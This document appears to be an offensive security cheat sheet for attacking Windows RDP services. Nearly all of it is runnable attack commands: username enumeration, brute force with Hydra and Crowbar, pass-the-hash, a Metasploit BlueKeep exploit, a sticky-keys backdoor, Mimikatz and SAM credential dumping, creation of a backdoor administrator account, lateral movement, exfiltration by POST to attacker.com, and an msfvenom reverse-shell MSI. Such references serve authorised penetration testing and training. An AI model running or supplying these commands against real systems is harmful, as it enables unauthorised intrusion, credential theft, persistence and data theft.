RDP (Remote Desktop Protocol)

`Default Port: 3389`

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft that provides a graphical interface for users to connect to another computer over a network connection. RDP is widely used for remote administration, technical support, and accessing work computers from home. It transmits keyboard, mouse, and display data between client and server, making it a critical service in Windows environments.

Connect

Using mstsc (Windows)

```
# Basic connection
mstsc /v:target.com

# With specific port
mstsc /v:target.com:3389

# Full screen mode
mstsc /v:target.com /f

# Admin mode
mstsc /v:target.com /admin

# Save connection settings
mstsc /v:target.com /save:connection.rdp
```

Using xfreerdp (Linux)

```
# Basic connection
xfreerdp /v:target.com
```

```
# Basic connection
rdesktop target.com

# With credentials
rdesktop -u username -p password target.com

# Full screen
rdesktop -f -u username target.com

# Specific resolution
rdesktop -g 1920x1080 -u username target.com

xfreerdp /u:administrator /pth:NTHASH /v:target.com

# Dynamic resolution
xfreerdp /u:username /p:password /v:target.com /dynamic-resolution
```

Service Detection with Nmap

Use Nmap to detect RDP services and identify server capabilities.

```
nmap -p 3389 target.com
```

Banner Grabbing

Connect to RDP services to gather version and security information.

Using nmap

```
# Using nmap
nmap -p 3389 -sV target.com
```

Using rdp-sec-check

```
# Using rdp-sec-check
python rdp-sec-check.py target.com
```

Using openssl

```
# Check RDP certificate
openssl s_client -connect target.com:3389 < /dev/null 2>&1 | openssl x509 -noout
-text
```

Version and Configuration Check

Extract RDP version and security configuration information.

```
# Check Windows version through RDP
nmap -p 3389 --script rdp-ntlm-info target.com

# Security layer check
nmap -p 3389 --script rdp-enum-encryption target.com

# Output shows:
# - RDP Protocol version
# - Security layer (RDP/TLS/CredSSP)
# - Encryption level
```

Enumeration

User Enumeration

RDP provides different error messages for valid and invalid usernames, allowing username enumeration.

```
# Through RDP login attempts
# RDP returns different errors for:
# - Valid user, wrong password
# - Invalid user

# Using rdp_check (C# tool)
rdp_check.exe target.com users.txt

# Using crowbar
crowbar -b rdp -s target.com/32 -u users.txt -C passwords.txt
```

```
# Check for common usernames
Administrator
admin
user
guest
```

Session Enumeration

You can enumerate active RDP sessions to identify logged-in users and their session states.

```
# List active sessions (if you have access)
qwinsta /server:target.com

# Query user sessions
query user /server:target.com

# Session information
quser /server:target.com
```

Attack Vectors

Default and Weak Credentials

RDP installations often retain default or weak credentials for system accounts.

```
# Common credentials
Administrator:<blank>
Administrator:admin
Administrator:password
Administrator:Password123
admin:admin
user:user

# Try connection
xfreerdp /u:Administrator /p:password /v:target.com
```

Brute Force Attack

Brute forcing RDP credentials requires specialized tools due to the protocol's complexity.

Using Crowbar

```
crowbar -b rdp -s target.com/32 -u administrator -C passwords.txt
```

Using Ncrack

```
ncrack -vv --user administrator -P passwords.txt rdp://target.com
```

Using Hydra

```
hydra -t 1 -V -f -l administrator -P passwords.txt rdp://target.com
```

Using Metasploit

```
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS target.com
run
```

Pass-the-Hash

Use NTLM hashes to authenticate to RDP without knowing plaintext passwords.

```
# Using xfreerdp with NTLM hash
xfreerdp /u:administrator /pth:NTHASH /v:target.com /cert:ignore

# Using Mimikatz (from compromised machine)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:"mstsc /
v:target.com"
```

BlueKeep (CVE-2019-0708)

Exploit the BlueKeep vulnerability for remote code execution.

```
# Affects Windows 7, Server 2008, XP, Server 2003
# RCE vulnerability in RDP

# Using Metasploit
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS target.com
run

# If vulnerable, exploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS target.com
set TARGET 2  # Windows 7 x64
exploit
```

RDP Man-in-the-Middle

Intercept RDP traffic to capture credentials and sensitive data.

```
# Using Seth (RDP MITM)
# Requires network access between client and server

# Step 1: Setup MITM
seth target-client-ip target-server-ip interface

# Step 2: Capture credentials
# Seth will show credentials when client connects

# Step 3: Use stolen credentials
xfreerdp /u:captured_user /p:captured_pass /v:target.com
```

Sticky Keys Backdoor

Create persistent backdoor access using Windows accessibility features.

```
# If you have access to system

# Replace sethc.exe with cmd.exe
# At login screen, press Shift 5 times -> cmd.exe opens as SYSTEM

# Backup original
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe

# Replace with cmd
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

# Now at RDP login, press Shift 5 times
# Command prompt opens as NT AUTHORITY\SYSTEM
```

Post-Exploitation

Credential Harvesting

Extract credentials and authentication data from compromised RDP systems.

```
# Using Mimikatz
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Dump SAM
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system

# Extract hashes
impacket-secretsdump -sam sam -system system LOCAL

# Cached credentials
mimikatz.exe
privilege::debug
lsadump::cache
```

Persistence

Create persistent backdoor access to compromised RDP systems.

```
# Create backdoor user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

# RDP to other machines
mstsc /v:another-host.com

# Pass-the-Hash to other systems
xfreerdp /u:administrator /pth:HASH /v:another-host.com

# Use PSExec with captured credentials
psexec \\another-host.com -u username -p password cmd

# WMI lateral movement
wmic /node:another-host.com /user:username /password:password process call
create "cmd.exe"
```

Data Exfiltration

Extract sensitive data from compromised RDP systems.

```
# Compress sensitive data
Compress-Archive -Path C:\Users\ -DestinationPath C:\Temp\exfil.zip

# Transfer via RDP clipboard (if enabled)
# Copy file in RDP session, paste on local machine

# Transfer via shared drive
# If RDP was connected with /drives option
copy C:\sensitive\data.txt \\tsclient\c\exfil\

# Upload to attacker server
Invoke-WebRequest -Uri http://attacker.com/upload -Method POST -InFile C:
\Temp\data.zip

# Base64 encode and exfiltrate
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip"))
Invoke-WebRequest -Uri http://attacker.com/collect -Method POST -Body $data
```

Privilege Escalation

Escalate privileges on compromised RDP systems.

```
# Check privileges
whoami /all
whoami /priv

# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v """

# AlwaysInstallElevated check
reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

# Exploit if enabled
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f msi >
installer.msi
msiexec /quiet /qn /i installer.msi
```

Common RDP Issues

Issue	Description	Exploitation
No NLA	Network Level Authentication disabled	Easier brute force
Weak encryption	Low encryption settings	MITM possible
No account lockout	Unlimited login attempts	Brute force friendly
Certificate warnings	Self-signed or invalid cert	MITM attacks
Clipboard enabled	Clipboard sharing on	Data exfiltration

Issue	Description	Exploitation
Drive sharing	Local drives shared	File transfer

CVE Exploits

CVE	Name	Affected Versions	Impact
CVE-2019-0708	BlueKeep	Win7, 2008, XP	RCE (wormable)
CVE-2019-1181	RD Gateway	Server 2012-2019	RCE
CVE-2019-1182	RD Gateway	Server 2012-2019	RCE
CVE-2020-0609	RD Gateway	Server 2012-2019	RCE
CVE-2020-0610	RD Gateway	Server 2012-2019	RCE
CVE-2012-0002	MS12-020	Server 2003-2008	DoS

Useful Tools

Tool	Description	Primary Use Case
xfreerdp	Linux RDP client	Remote connection
rdesktop	Linux RDP client	Basic connection
mstsc	Windows RDP client	Native connection
crowbar	Brute force tool	Credential attacks

Tool	Description	Primary Use Case
hydra	Password cracker	Brute forcing
Metasploit	Exploitation framework	CVE exploitation
Mimikatz	Credential dumper	Post-exploitation
Seth	RDP MITM tool	Traffic interception

Security Misconfigurations

- ❌ No Network Level Authentication (NLA)
- ❌ Weak or default passwords
- ❌ No account lockout policy
- ❌ Exposed to internet
- ❌ Weak encryption settings
- ❌ No certificate validation
- ❌ Clipboard sharing enabled
- ❌ Drive redirection enabled
- ❌ Outdated Windows version
- ❌ No multi-factor authentication
- ❌ Unnecessary users with RDP access
- ❌ No logging or monitoring